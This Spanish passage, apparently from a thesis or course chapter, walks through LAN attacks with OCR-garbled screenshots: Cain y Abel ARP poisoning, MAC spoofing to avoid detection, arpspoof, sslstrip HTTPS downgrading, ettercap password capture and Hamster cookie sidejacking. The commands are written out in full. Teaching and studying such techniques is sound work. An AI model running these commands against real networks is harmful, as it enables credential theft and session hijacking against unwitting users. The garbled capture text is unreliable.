En la figura 5.5 se observa la captura completa de una trama en formato hexadecimal de un

paquete seleccionado, visualiza el offset del paquete junto a esto se muestra la data, el

paquete y a continuacion se observa la informacion en caracteres ASCII.

< Capturing Trom etni

lwireshark 1.8.1 (SVN Rev unknown rrom unknown)|

Time source Destination Protocol | Length | Info

9 2.989572000 169.254,154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
10 3.000877000 Te80::1512:51c1:583f:9abs ffez::c Ssbp 208 M-SEARCH * HTTP/1.1

11 3.739104000 169.254,154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
12 4.489286000 169.254.154. 184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
13 5.340683000 fe80::1512:51c1:583f:9abs ffe2::1:3 LLMNR 87 Standard query 6x7fée A h
14/5.340709000 169.254,154.184 224.0.0.252 LLMNR 67 Standard query ex7fée A h
15 5.541421000 169.25%4.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
16 6.060568000 TeBO::1512:51c1:583F:9abs ffez2::c SSDP 288 M-SEARCH * HTTP/1.1

17 6.291025000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20>
18 7.041118000 169.254.154.184 169.254.255.255 NBNS 92 Name query NB HOUSEPC<20=

__197.896703009 fed0: :1512:51c1: 5831 : 9abs 1f02::1:3 _LLMNR 87 Standard query exidee A h°

>

+ Frame 1: 208 bytes on wire (1664 bits), 268 bytes captured (1664 bits) on interface ©

- Ethernet II, Src: Vmware cB:00:08 (00:50:56:c0:00:68), Dst: IPvémcast 00:60:0€:0c (33:33:00:00:60:0¢)

+ Internet Protocol Version 6, Src: fe80::1512:51cl:583f:%ab8 (fe80::1512:51c1:583f:%ab8), Dst: ff02::c (ffO2::c)
+ User Datagram Protocol, Src Port: 62506 (62506), Dst Port: ssdp (1966)

=

‘Hypertext Transfer Protocol

joep 3
jolp ©0 60 PO 9a 11 b1 fe &0
58 3f %9a bs ff 62
b0 00 60 Bc T4 2a

07 6¢ 00 92 49

33 00 00 GO Bc 09 568 56 cO 0O 08 86 dd 60 00 335 v60a PV e :
60 00 00 00 90 00 15 12
60 00 OO 66 00 OO 66 00
69 4d 2d

1

.

Figura 5.6 Visualizacién completa - Wireshark.

En la figura 5.6 se muestra el contenido completo de una captura de paquetes en Wireshark,

aqui se puede apreciar cada uno de los sectores que se analizaron anteriormente.
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it o cequestmethod=="POST" | bwresson. Clar 206 Sme

0. Time Source Destination Protocel Length Info

MarkPacke foggle) ST /cgi-bin/openwebail/openwebmail. pl KITP/1.1 (appTication/x-wwi-Forn-urlencoded)
3279 192.754158 192, 168.1,110 67.20 : ST /index. php?option=con_comprofiler&task=Togin HTTP/1.1 (application/x-mai-form-urlenc
3845 215. 304190 192,168.1,100 67,20  1goorePecketftoggle) ST /index. php?option=con_conprofiler&task=Togin KTTP/1.1 (application/x-wi-forn-urlenc
4652 269.579570192,168.1,110 74,12 U Set Time Reference {togge] ST /safebronsing/downloads?client=navcTient-auto-ffoxsappver=12, D&pver=2, 2rkey=AKEQNiu)

Y Time Shift.,

¢ Editor Add Packet Comment...
Manualty Resolve Address

Apply as Filter
Prepare 2 Filter
Convessztion Filter
Colorize Conversation
SCTP

Follow TCP Stream
A
I Frame 2709: 831 bytes on wire (6648 bits), 831 byt Follo yterface 0
| cthernet II, Src: HonHaipr_fe:75:22 (2c:81:58:fe:7 {94:0c:6d:fa:5d:46)
| Internet Protocol Version 4, src: 192,168.1.110 (1 Copy y17.1 (192.188.47.1)
v Transmsswn Control Protocol, Src Port: nessus (1 q: 1, Ack: 1, Len: 777

xt Transfer protocol T 3 Decode s
- L1ne ased text data: appllcat1on x-wwn-Torm-urler 5 prin..

Show Packet in New Window

Figura 5.7 Sniffer a un equipo - Wireshark.

En la figura 5.7 se visualiza un Sniffer realizado en una red LAN como filtro se ingreso el
comando: http.request.method == “POST” permitiendo filtrar solo los paquetes que contenga
dicho método de respuesta, una vez obtenido los paquetes se realiza clic derecho sobre uno de
ellos y se hace clic en la opcién "Follow TCP Stream” aqui se mostrara toda la informacion

capturada en ese paquete.

) Follow TCP Stream

Stream Content

POST /cgi-bin/openwebmail/openwebmail.pl HTTP/1.1

HOST : waaw.

user-agent: Mozilla/5.0 (windows NT 5.1; rwv:12.0) Gecko/20100101 F1ref0x/12.0
Accept: text/html,application/xhtml+xml, app11cat1on/xm1 g=0.9,%/%*;g=0
Accept-Language: es-es,es;qg=0.8,en-us;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

connection: keep-alive

Referer: http://www. .

|Cookie: utma—219045149 1296285429 1361893617.1361981263.1363229495.5;

|__utmz=219045149.1361893617.1.1.utmcsr=(direct) |utmccn=_(direct) |utmcmd=_(none);
__utmb=219045149.2.10.1363229495; ow-autologin=0; ow-1loginname=4 ow-

default_logindomain=; ow-httpcompress=0; __ utmc=219045149

content-Type: app11cat1on/x wwav-form-ur lencoded
content-Length:

1og1nname— . &password— LU X =25&y=9HTTP/1.1 200 OK -~
‘Entlre conversation (3751 bytes) E
[ Find H Save As ” Print J ) ASCH ) EBCDIC ) Hex Dump ) C Arrays @ Raw

[ Filter Out This Stream ] [ Close ]

Figura 5.8 Visualizacién de un paquete con informacién de password - Wireshark.

La figura 5.8 presenta el resultado de un paquete capturado con Wireshark donde se logra
apreciar un usuario con su respectiva contrasefia para acceder a un sistema de correo

electrénico en este caso en el gestor de correo es openwebmail.
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» Cainy Abel.

Cain y Abel brinda la posibilidad de recuperar diversos tipos de contrasefias en sistemas
Windows. Es una de las herramientas mas utilizadas para realizar hacking a redes LAN ya que
cuenta con varias opciones que permiten analizar y ejecutar diversas técnicas para la obtencion
de contrasefias aprovechando las inseguridades que presentan diferentes protocolos, tiene
ademas las opciones de grabacion de conversaciones VoIP y recuperacion de claves Wifi.
(http://www.oxid.it)
Entre sus caracteristicas principales se encuentran:

e ARP Poison Routing.

e Man in the Middle.

e Analizar y descifrar protocolos como SSHy HTTPS.

e Crakeo WEP.

e Capacidad de crackear diferentes tipos de Hashes.

e Resolucion de IP a MAC address.

e Traceroute de paquetes.

La siguiente ilustracién muestra la interfaz de la herramienta para realizar un Sniffer.

Configuration Dialog
Filters and ports ] HTTP Fields ] Traceroute ]
Certificate Spoofing | Certificates Collector ]
Sniffer l APR { Ap Poison Routing ) I Challenge Spoofing I
A.dapter |P address I Subnet Mask
& 152.168.1.108 255.255.255.0
< | >

VWinpcap Version

4.1.0.2001

- Cument MNetwork Adapter
\Device \NPF_{5AB825A2-0C67-4BC2-3584-BES4BC3014186}

VWARNING !!! Only ethemet adapters supported

Options
7 Start Snifferonstatup | Dont use Promiscuous mode
[ Start APR on startup

I oK l Cancel l 5 | Help |

Figura 5.9 Configuraciéon de la tarjeta de red — Cain y Abel.
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En la figura 5.9 se muestra el cuadro de dialogo para la configuracion de la tarjeta de red dentro
de Cain y Abel. Para poder realizar esta configuracion hay que dirigirse a la opcion
“Menu/Configure” y elegir en la vifieta de Sniffer la tarjeta de red de la cual se desea capturar el
tréfico dentro del menu principal del software.

File View Configure Tools Help

AH @R +yv RV EBE20%YR O ? | 1
é,% Decoders I? Network lﬂ? Sniffer I@’ Cracker I@ Traceroute I!m €Cou I“&f) Wireless I%) Query 1
| IP address | MAC address | QUI fingerprint ] Host name I B31 l B16 l B8 ] Gr [ MO I

B Hosts | (@ APR | Routrg | Passwords |4 vorP

Figura 5.10 Configuracion del Sniffer — Cain y Abel.

En la figura 5.10 se realiza la configuracion del Sniffer, dando un clic sobre la vifieta con el
mismo nombre y a su vez dando clic sobre el icono que se encuentra en la parte superior
izquierda la cual indica “Start/Stop Sniffer’. Una vez realizando esto se da un clic sobre la

vifieta “Host” ubicada en la parte inferior izquierda de la figura.

MAC Address Scanner 7

T arget
2 Al hosts in my subnet
{7 Range

From

- Promiscuous-tode Scanner
ARP Test [Broadcast 31-bit)
ARP Test [Broadcast 16-bit)
ARP Test [Broadcast 8-bit]
ARP Test [Group bit)

ARP Test [Multicast group 0]
ARP Test [Multicast group 1)
ARP Test [Multicast group 3)
All Tests

| ok | Cancel |

CHEEEEE K

Figura 5.11 Seleccidn del rango de IPs para realizar el Sniffer — Cain y Abel.
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En la figura 5.11 se visualiza el rango de IPs del cual se requiere interceptar los paquetes
pudiendo seleccionar una o varias direcciones segun sea el caso, para que este cuadro se
habilite se tiene que realizar un clic sobre el icono del signo “+” y posteriormente se ingresa las

direcciones de las maquinas que se desea interceptar el trafico.

New ARP Poison Routing

WARNING 11

APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the right list in both
directions. If a selected host has routing capabilities WaAHN traffic will be intercepted as well. Please note that since your

machine has not the same performance of a router you could cause DoS if you set APR between your Default Gateway and
all other hosts on your LaM.

IP address MAC . Hostname IP address | Mac ] Hostname

192168.1.1 EXGEE N N | 192.168.1.110 000C2%

192.168.1.100 2CaE 192.168.1.100 2C81%

192.168.1.110 00ocz

< > < >
0K | Cancel |

Figura 5.12 Seleccidn de IPs para realizar una intercepcion de trafico — Cain y Abel.

En la figura 5.12 se observa las direcciones IPs que se pueden seleccionar para realizar la
intercepcion de trafico, para poder seleccionar estas IPs primeramente se tiene que ubicar en
la vifeta ARP situado en la parte inferior del aplicativo junto a la opcion “Host” y a continuacién
seleccionar el botén “+”. Esto permitira que se despliegue este menu de direcciones del cual se
tiene que seleccionar de la parte izquierda de la figura una IP objetivo y a continuacién el
software automéaticamente mostrara las IPs asociadas en la parte derecha del gréafico, aqui se
tendra que seleccionar la ip que se desea capturar el trafico. Esto permitira al software conocer
de mejor manera como debe envenenar las tablas ARP de los equipos victimas.
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File  View Configure Tools Help
-> EMALL  CHALL = 3
e O wlw B (| S | R (B, ek e R O " | N
otk |sf@ sniffer [@f cracker [ Traceroute [EER ccou [*@° wireless  [Ha Query |
Status 1P address MAC address Packets -> <- Packets MAC address
FR¥ae Jisaiesi [ sSaoceormmmm ] 000C 29w = =
S APR-POP3S (0)
&) APR-IMAPS (0) = =
Sy APR-LDAPS (0) Status | 1P addrese | Mac addrecs | Packets -= | =-pPackets | MAC address o
&) aPR-sIPS (@) > Halfrouting 181.29 [IOCEDF - 1 C 2Cs 19
&> Half-routing 200,158 S30CEDFE 1 o 2C818
&> Holf-routing 177.143 940CEDF 1 o 2C31
> Halfrouting 186.192 a30CEDP 1 a 2C814
o> Half-routing 24,232. S430CEDF 1 o 2C5158
§>> Half-routing 187.158 940CEDF 1 o 2Cs158
&> Half-routing 181.68, 940CEDF 1 o 208158
e e e s i . - ESRPETE—— -
< | >
& Configuration /Routed Packsts |
o arr [ rouung [$2 Passwords [ é@ vore |
= —

Figura 5.13 Inicio del envenenamiento ARP — Cain y Abel.

Una vez seleccionadas las IPs de las cuales se desea interceptar el trafico, se inicia con el
envenenamiento de las tablas ARP del Switch; para ello se requiere de un click sobre el icono
amarillo ubicado en la parte superior izquierda del aplicativo. Realizado esto el software

interceptara todo el trafico que pase por la red como se puede apreciar en la figura 5.13.

Fle Vew Conficwre Tock Help

AW OmEE +y BREEVMBE20%R 07 1

g; Decocers I§ Network I@ Sniffer ld Cracker In Traceroute Im (olan ] Fﬁ” Wirslese |€_;J Query |

™, Passuicres A | Timestamp | F17 servar | Cient [ Username | Password
LY (1)) 2013 -03:5402 173, 192.768.1,100
28 HTTP (192)
3 mer (0)
[ LDAP (0)

E Hosts I@ &R IQ’ Routirg |’P\ Passwords lg,‘i Vol I
ntip:

fhooen.oxid. it
ez

Figura 5.14 Obtencion de Password FTP — Cain y Abel.

En la figura 5.14 se observa los datos obtenidos luego del envenenamiento ARP, se obtuvo 1
password FTP y 192 HTTP para observar las contrasefias interceptadas se tiene que hacer clic
en la pestafna “Password” ubicada en la parte inferior izquierda del software luego apareceran
las contrasefias divididas por protocolo. En esta figura se ve una contrasefia ftp teniendo la IP

del servidor, la IP de la maquina, el usuario y la contrasefia para obtener el acceso.
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S f @ e B

£ty

Gl

File View Configure Tools Help

¥ Y mEBEEeDIER @7 i

I& oecodes [ @ tictwork |89 siffer [f Codker [ Trecooue M coou [T wicess [ query |

$Passwords
FIP (1}
£8) HTTP (192)
9 vae (0)
[ Loar ()
b PP (0)
sib SMB (D)
Teinet (0]
VINC (0)
JA m
‘ij!) T0S \D:

[710]

a S 0)

A

v

_Timestamp | Username

l Cient

| Password

b%aBe94-87(x. ..
080526 7DF8A3. .,

efauit,asox
efatit.asox

/ Messenger,

/ Messenger. Ive, co!

m2vvecd:1300C.,

ED—

= rosts [ @ aer [ Rowong | P Passworas [ vore |
L=

Figura 5.15 Obtencion de Password — Cain y Abel.

En la figura 5.15 se observa todos los paquetes obtenidos dentro de los cuales se encuentran:

La direccion IP del servidor, la IP victima, el usuario, la contrasefia y la URL de la cual se

obtuvo la contrasena.

5.5 Técnicas para realizar Sniffing.

5.5.1 MAC Spoofing.

Esta técnica es utilizada para cambiar la direccion MAC de una interfaz de red asignada de un

equipo, este proceso es también llamado suplantacién de direccion MAC. La aplicacion de esta

técnica es comunmente utilizada antes de realizar cualquier intercepcién de trafico ya que

ayuda al atacante a no ser detectado con facilidad. A continuacién se presentan un ejemplo de

la aplicacion de esta técnica:

~ v

ethe

x

root@bt: ~
File Edit View Terminal Help

rupt:19 Bas

Figura 5.16 Visualizacién MAC original — Backtrack.
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En la figura 5.16 se muestra la direccion MAC original del equipo atacante utilizando el
comando ifconfig.

~ v X root@bt: ~
File Edit View Terminal Help

etho
etho
etho

Figura 5.17 Comandos para alterar la direccion MAC — Backtrack.
En la figura 5.17 se observan los comandos utilizados para realizar la técnica de MAC
Spoofing, estos comandos son:
Comando “sudo ifconfig nombre_interfaz_red down”: Este comando realiza la detencion
de la tarjeta de red para poder realizar los cambios requeridos a la direccion MAC.
Comando “sudo ifconfig nombre_interfaz_red ether Nueva Direccion_MAC”: Realiza a
asignacion de la nueva direccion MAC para con ello evitar ser detectado por los
administradores de red.
Comando “sudo ifconfig nombre_interfaz_red up”: Habilita nuevamente de tarjeta de red

del equipo para que pueda ser utilizada con los cambios realizados.

~ v % root@bt: ~
File Edit View Terminal Help

:~# ifconfig
etho ink encap:Ethernet HWaddr
:192.168.1.107 B
r: fe80::584b:4bff:
AST RUNNING MULTICAST

Len: 1000

(10.3 TX bytes:9259342
Interrupt:19 Base address:0x2000

Figura 5.18 Validacién del cambio de la direccion MAC — Backtrack.

En la figura 5.18 se puede apreciar que la direccion MAC ha sido modificada correctamente.

5.5.2 ARP Spoofing.

Es una técnica utilizada para interceptar el trafico de una red local. Su funcionamiento es
saturar al switch enviando mensajes ARP falsos con el propdésito de asociar la direccion MAC

de la maquina atacante a una direccion IP de un nodo de la red, en la mayoria de los casos se
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lo direcciona al switch. Una vez que el atacante tome el control de ese tréfico puede reenviarlo
a su destino o modificarlo antes de realizar el envio. (http://www.wikipedia.org , Parr 1)

Esta técnica también puede ser llamada como ataque Man-in-the-midle (MitM) ya que el
atacante se ubica en el medio de una comunicacion entre dos extremos legitimos de la red.

A continuacién se muestra un ejemplo de esta técnica:

:~# ifconfig
2the Link encap:Ethernet Hwaddr 29:4b:5c:be
inet addr:192.168.1.107 Bcast:255.255.255.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed4b:5cbe/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1l

RX packets:545 errors:0 dropped:0 overruns:0 frame:©
TX packets:19 errors:@ dropped:® overruns:0 carrier:0
collisions:® txqueuelen:1000

RX bytes:57705 (57.7 KB) TX bytes:1980 (1.9 KB)
Interrupt:19 Base address:0x2000

Figura 5.19 Visualizacion de la IP y MAC del atacante — Backtrack.
En la figura 5.19 se muestra la direccion IP: 192.168.1.107 y la direccién MAC: *:*:29:4b:5c:be
del equipo que realizara la intercepcion del trafico entre dos host legitimos dentro de una red
LAN.

Direccion fisica. . - - « - =« -29-68-5B-59
DHCP habilitado. . . . . . . .
Autoconfiguracién habhilitada.
Direceddn LTP: 7% 5 % m
Miscara de subred . . . . . . .
Puerta de enlace predeterminada
Servidor DHCP . . . . . . . . .

Servidores DNS . . . . . . . .

No

8i
192.168.1.118
255 . 255 .255 .4
192.168.1.1
192.168.1.1
288.63.212.118

2RR €7 2QA6 1

Figura 5.20 Visualizacién de la IP y MAC del objetivo — Windows Xp.

En la figura 5.20 se observa la direccién ip 192.168.1.110 y la direccion Mac:*:*:29:60:5B:59
del equipo objetivo, esta maquina sera el objetivo para la intercepcion de todos los paquetes

gue sean dirigidos desde y hacia el Swith.

C:\>arp —a
Interfaz: 192.168.1.1180 —— 8x1060863

Direccién IP Direccién fisica Tipo
122.168.1 .1 -6d—fa—-5d—46 dinamico
1922.168.1.187 -29—-4bh—5c—-he dinamico

Figura 5.21 Informacion del Switch y maquina objetivo — Windows Xp.
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En la figura 5.21 se muestra las direcciones IP y MAC de los equipos conectados a la red LAN
con el comando ARP —a. En este caso se observa el equipo con la IP: 192.168.1.1 pertenece al
Swith yla IP 192.168.1.107 pertenece al equipo victima.

:~# arpspoof -t 192 1 192.168.1.110
:4b:5c:be 6d:fa 0806 42: arp reply
:4b:5¢:be 6d:fa:5d:46 0806 42: arp r

o foads

. 4b:5¢:be 6d: .46 0806 42: ary
4b:5¢:] .6d: fa: 0806 42: &
9:4b:5¢:be 16d: - 0806 42: arp

et

e et
Vi n n n
7 ‘

et

Figura 5.22.1 Aplicacién del atague Arpspoof — Backtrack.

En la figura 5.22.1 se muestra la aplicacion del comando Arpspoof —t que permite ingresar las
direcciones IPs de las maquinas de las que se desea interceptar el trafico, en este caso desde

el equipo atacante (192.168.1.107) se realiza el ataque que consiste en hacer creer al Swith

(192.168.1.1) que es el equipo destino y al equipo victima (192.168.1.110) que es el enrutador.

t arpspoof -t

reply

Figura 5.22.2 Aplicaciéon del ataque Arpspoof — Backtrack.

En la figura 5.22.2 se ejecuta el comando Arpspoof pero en este caso se intercambian las IPs
primero se ingresa la IP de equipo victima y luego la IP el switch, esto hara que todos los
paquetes sean enviados primero por la maquina del atacante ya sea que la informacion vaya

desde la maquina al switch o viceversa.

File Edit View Terminal Help
:~# echo 1 > /proc/sys/net/ipv4/ip forward

P

Figura 5.23 Aplicaciéon del ataque Arpspoof — Backtrack.

En comando aplicado en la figura 5.23 permite que luego que la maquina atacante intercepte
los paquetes estos datos sean redireccionados hacia su objetivo destino, evitando una

denegacion de servicios hacia los extremos legitimos de la comunicacion.
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J:\>arp —a

[nterfaz: 192.168.1.1180 ——— Bx160683
Direccion IP Direccidn fisica Tipo
192.168.1.1 -29-4h-5¢c-he dinamico
192.168.1.167 -29-4h-5¢c-he dinamico

Figura 5.24 Informacion del switch y maquina victima — Windows.

En la figura 5.24 se constata que luego de realizar el ataque ARP Spoofing las direcciones
MAC del equipo atacante y del switch son iguales a la vista de la maquina victima validando

gue el ataque ha sido ejecutado con éxito.

File Edit View Go Capture Analyze Statistics Telephony Tools Intemals Help

EEUY L e QoenTa TR @Y

Filtes icmp Ly 'Exprssign... Clear Save

No. Time Source Destination Protocol Length ' Info

YT YTV T T YUY EE TRV I TEUT TSI T xenr D L) £ LA A ok A sk e AR e 2
8049 60.016314000  192.168.1.110 192.168.1.107 ICNP 98 Echo (ping) reply  id=0xfle9, seg=144

—
1
%
1
1
|
]

0

3.1 1¢ 1.1 ICHP (F

8235 61.008677000  192.168.1.167 192.168.1.118 98 Echo (ping) request id=6xf1e9,
8236 61.008958000  192.168.1.116 192.168.1.107 98 Echo (ping) reply  id=0xfl€9,
3 ) 187 1.116 82 Redirect Red] i

192.168.1 192.168

182 188 1

Figura 5.25 Captura del trafico entre los equipos — Wireshark.

En la Figura 5.25 se valida mediante Wireshark que todos los paquetes enviados desde el
switch hacia el equipo victima y viceversa son redireccionados al equipo atacante y

posteriormente a su destino original.

5.5.3 Ataque SSLSTrip.

Es una herramienta utilizada en sistemas Linux que permite modificar el trafico web del
Protocolo HTTPS al protocolo HTTP para poder capturar su contenido en texto plano. Con esta
técnica el atacante consigue obtener las contrasefias de los equipos victimas evitando en las
maguinas que son objetos del atague se muestre la pantalla de error de certificaciébn que suele

aparecer cuando se intenta interceptar este tipo de trafico ya que hace creer a los usuarios que
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se encuentran en una conexioén segura puesto que esta herramienta falsifica el candado de
seguridad que aparece en el browser.

A continuacion se presenta un ejemplo de la utilizacion de esta herramienta.

~ v %X root@bt: ~
File Edit View Terminal Help

:~# echo 1 > /pr s/net/ipv4/ip forward

:~# iptables -t nz ROUTING -p tcp --d
T --to-port 10000
~# sslstrip -1 10000 -f

sslstrip 0.9 by Moxie Marlinspike running...

Figura 5.26 Comandos para capturar el trdfico con SSLStrip — Backtrack.

En la figura 5.26 se observan los comandos utilizados para realizar la captura del trafico https
en una red LAN y convertirlo en http para obtener los passwords, a continuacion se detallan las

sentencias:

Comando: echo 1 >/proc/sys/net/ipv4/IP_forward.

Este comando es utilizado para que todo el trafico capturado por la maquina atacante sea
enrutado a su destino ya que si no es ejecutado todos los paquetes no llegaran a la maquina

victima produciendo una denegacion de servicios.

Comando: iptables -t nat —A PREROUTING —p tcp —destination-port 80 —j REDIRECT —to-
port 10000

Iptables es una herramienta que brinda la posibilidad de crear reglas para filtrar los paquetes y
modulos Nat capturados, en este caso esta sentencia realiza un redireccionamiento de todo el
trafico que pasa por el Puerto 80 al Puerto 10000 (Webmin) cominmente utilizado por el

comando SSLStrip.

Comando: sslstrip - 10000 —f

El comando sslstrip —I sefiala el puerto por donde se realizara la escucha, en este caso es el
puerto 10000. Ademas el comando —f ejecutara la modificacion del favicon a un candado para

aparentar al usuario que se encuentra en una conexion segura.
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~ v % root@bt: ~
File Edit View Terminal Help
:~# arpspoof -i ethl -t 192.168.1.1 192.168.1.110

:29:9a:5d:b0 6d:fa:5d:46 0806 42: arp reply 192.168.1.110 is-at
)0

29:9a:5d:b0 6d:fa:5d:4 : arp reply 192.168.1.110 is-at
<hQ

Figura 5.27.1 Atague ARP spoofing — Backtrack.

Para que el ataque se lleve con éxito se tiene que aplicar la técnica vista anteriormente de ARP
Spoofing. Es este caso se especifica la interfaz de red desde la cual se quiere capturar el
trafico con la sintaxis “- i ethi1” seguido de la IP de router y de la IP del equipo objetivo como

se aprecia en la figura 5.27.1.

~ v X root@bt: ~
File Edit View Terminal Help
:~# arpspoof -i ethl -t 192.168.1.110 192.168.1.1

:29:9a:5d:bo 29:60:5b:59 0806 42: arp reply 192.

:29:9a:5d:bo 29:60:5b:59 0806 42: arp reply 192.168.1.1 is-

Figura 5.27.2 Ataque ARP spoofing — Backtrack.
Para que la captura de los paquetes se realice exitosamente desde los dos extremos de la
comunicacion se tiene que ingresar la IP del objetivo y luego la IP del router, esto hara que los
paquetes sean capturados en los dos sentidos de la comunicacion como se aprecia en la figura
5.27.2.

v * root@bt: ~
File Edit View Terminal Heip

:~# elttercap -Tq -1 ethl
ettercap 6.7.4.1 copyright 2001-2011 ALOR & NaGA
Listening on ethl... (Ethernet)
ethl -> 29:9A:5D:B0O 92. 2 255.255.255.0

a valid ’redir ar of sC in the etter.conf file

opped to UID 65534 GID

INFO: http
*r=6.1.6206.0&

INFO

INFO: http

Figura 5.28 Captura de trafico con Ettercap — Backtrack.
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En la figura 5.28 se observa la captura del trafico dentro de la red LAN dirigido hacia el objetivo
utilizando el comando “ettercap -Tq —i eth1” se indica que se desea ver los resultados en
pantalla tomado de la interfaz ethl. En la parte inferior se muestra los password capturados de
diferentes paginas web que normalmente se manejan con el protocolo Https pero que al aplicar
esta técnica son capturados como http.

archivo  Editar  ¥er  Historal  Marcadores  Herramientes  Ayuda

Ecler sesion | =4 Iienvenido a Facebook enEspancl (Esp... +
Ml

€ 8 banlive.comflogh s wa=wsignin1 08 psrv—=11fct=1 JEIBITETL v =6, L 5206 DBup=MEILwieply=ttpits2F 2P mal live . cam3b2F def ault aspxble=20326id= 64858

En la figura 5.29 se muestra que al momento de que la maquina victima ingresa a una pagina
Https el comando sslstrip inserta un candado en la parte superior del explorador haciendo

creer al usuario que esta navegando en una pagina controlada por este protocolo.

5.5.4 Ataque SideJacking.

Es una técnico que basa su funcionamiento en esnifar los cookies del equipo victima y
capturarlos en el browser del equipo atacante produciendo asi una suplantaciéon de identidad
sobre la pagina web que la maquina victima este trabajando. Para aplicar esta técnica existen

algunos métodos a continuacion de detalla uno de ellos con la herramienta hamster.

Hamster.

Es una herramienta que esta disponible para Windows y Linux su funcién es la de actuar como
proxy entre el equipo objetivo y la atacante, esta herramienta funciona previa obtencién de los
cookies mediante un Sniffer. A continuacién se presenta un ejemplo de la aplicacién de esta

técnica.

:/pentest/web/sslstrip# echo "1" > /pr /net/ipv4/ip forward

:/pentest/web/sslstrip# iptables -t nat -A PREROUTING -p tcp --destinatio
1-port 80 -j REDIRECT --to-port 10000

:/pentest/web/sslstrip# sslstrip -

S
=
3

sslstrip 0.9 by Moxie Marlinspike running...

Figura 5.30 Ejecucion de SSLStrip — Backtrack.
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En la figura 5.30 se observa la aplicacion de los comandos vistos previamente para poder
capturar el tréfico Https y convertirlo en http con los comandos “Iptables” y “sslstrip”, ademas

que los datos fluyan a su destino normalmente con el comando “echo”.

192.168.1.1
reply 192.168.1.1 is-at ©:c:29:9a:5

b:59 0806 42: arp reply 192.168.1.1 is-at 0:c:29:9a:

D:59 08606 42: arp reply 192.168.1.1 is-at 0:€:29:9a:5

Figura 5.31 Ejecucién de Arpspoof — Backtrack.
En la figura 5.31 se utiliza una técnica expuesta anteriormente que permite a la maquina

atacante interceptar todo el trafico de los extremos de la comunicacion.

:/pentest/sniffers/hamster# ./hamster
- HAMPSTER 2.0 side-jacking tool ---
Set browser to use proxy http://127.0.0.1:1234
DEBUG: set ports option(1234)

DEBUG: mg open listening port(1234)
Proxy: listening on 127.0.0.1:1234
pegining thread

Figura 5.32 Activacidon de la herramienta Hamster — Backtrack.
En la figura 5.32 se presenta la ejecucion de la herramienta Hamster, una vez ejecutado se
visualiza la direccién IP (127.0.0.1) y el puerto (1234) que se tiene que configurar en el browser

gue se desea capturar el tréfico.

< & | & hamster v & 43> Q| &Y
I BackTrack Linux [fjOffensive Security KRExploit-DB Wy Aircrack-ng i Somarm
a | HAMSTER 2.0 Side-Jacking
192.168.1.110 ]
[ adaplers | help |
[caokies] STEPS:In order to sidejack web sessions, follow these steps. FIRST,
e htip://snl24w.snt124 mail live.com click on the adapter menu and start sniffing. SECOND, wait a few
/mailInboxLight.aspx?n seconds and make sure packets are being received. THIRD, wait
» htip://www.vahoo.com/ until targets appear. FOURTH, click on that target to "clone" it's
session. FIFTH, purge the cookies from your browser just to make
e http://download. mozilla.org/?product=firefox- sure none of them conflict with the cloned targets. again
19.0.2-complete&os=win&lang=es-ES TIPS: remember to refresh this page occasoinally to see updates,
. msg2010831.gateway messenger.live.c and make sure to purge all cookles from the browser
teway.dll?Action=poll& WHEN SWITCHING target, rember to close all windows in your
Lifespan=60& browser and purge all cookies first
SessjonID=1 Status
e htip://snlmsg2010831.gateway.messengerlive.c
-~ : Proxy: unk
[gateway/gateway.dll?Action=poll& xy: RO
Lifespan=60& Adapters: ethO ethl
SessionlD= -y Packets: 6849222
. ;1:.1.n:7:n]l rmn:g.magi.Vd;um com/favicon.ico Database: 3354
e htip:/fel -mg6.mail.vahoo.com
fmeof/launch?.rand=7s8bjdp9jblu0 Targets: 2
e http://gfx] hotmail.com/mail/w4/pro4/itr ; 2 p
{fadeBarRightHover1 .gif : 'Ilg‘f‘L?S‘J‘"L?g
o htip://gfx2 hotmail. com/mall/w4/prO4/itr 192, 1681110
HodaoD o e T o ET oo 1

Figura 5.33 Visualizacién de los Cookies con Hamster — Firefox.
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En la figura 5.33 se muestra la captura general de la herramienta Hamster una vez que se
ingresa el nombre en la barra de direcciones previa configuracién del proxy. En la parte inferior
derecha se muestra las direcciones IP de las cuales se ha capturado el trafico siendo la IP
(192.168.1.110) el objetivo del ataque haciendo clic sobre esta IP se observa en la parte

izquierda todos los cookies obtenidos.

gl S hamster v e[ | 4
BackTrack Linux [j§Offensive Security ERExpioit-DB Wy Aircrack-ng i SomaFM

[ULSIVISRR )-8 YA Fm ) PFASE L RIE AR fou A oy

‘cal bin

3 no leido(s) / 4 mensajes / 1%

Y 2 U i =
Busea|l_Actualizar| |Comtactos || Calendario || Configuracién Salir

ENTRADA (3/4) ¥

Redartar| |Carpesas ||Filtro| [POP3)

action=listmessages_afteriogin 41/1b
. h_f_rll/ L.Jmsn.com Fz i 14[' | Asunto v | M Buscar (Pagina 1 v | +  GUARDADOS v | Mover
/i/89/} A8DDACBA922847E22 —— £
tip: msn.co = = ==
: h‘wﬁm 310811A282417776B65! g fFechadeEnvio pemitente Asunto femafio) ]
« htip: Sn.co
i/FA 7464088DD19832163BAE" V2013 M
S S 10D v 51 KB [
o htip:/ »00.5-msn.com 05 12:19
fi/3DA 315851A430CA4214418B1
« htip:/ 100.s-msn.com
[IC7 ,196D19E1758B11B00BE 2y pETeva2 |8 , 51k8 [
e htip:/ 2J0.s-msn.com
£i/520) L7612D9AF22E9D95308¢
e htip 200.s-msn.com /2012 0
fi/D2 6DD7FEFFAC2FB8DC7D! 34 :5 -08: {,3 6 KB [
e htip:/, »00.s-msn.com
i/BD/ J6BAABC65D82DBFTC5A
o htip:// b00.s-msn.com w/2012 =
[I36/A 2CBAC291833EDIDAIFR 44D gg:54:59 ‘ ‘ SLke ]
e http:// ¢.s-msn.com/as/wea3 -
files-» 3 41/1p
e http:; L Aamsn.com

A1 20T ROTIDRASLEZ] CR2IT 7R DR -

Figura 5.34 Captura de una Sesion de correo - Firefox.

En la figura 5.34 se muestra la captura de una sesién de correo iniciada por la maquina
victima haciendo clic sobre la cookie que contiene el identificador de la sesion de la cuenta
se obtiene acceso a la misma sin necesidad de conocer el usuario ni la contrasefia. Se
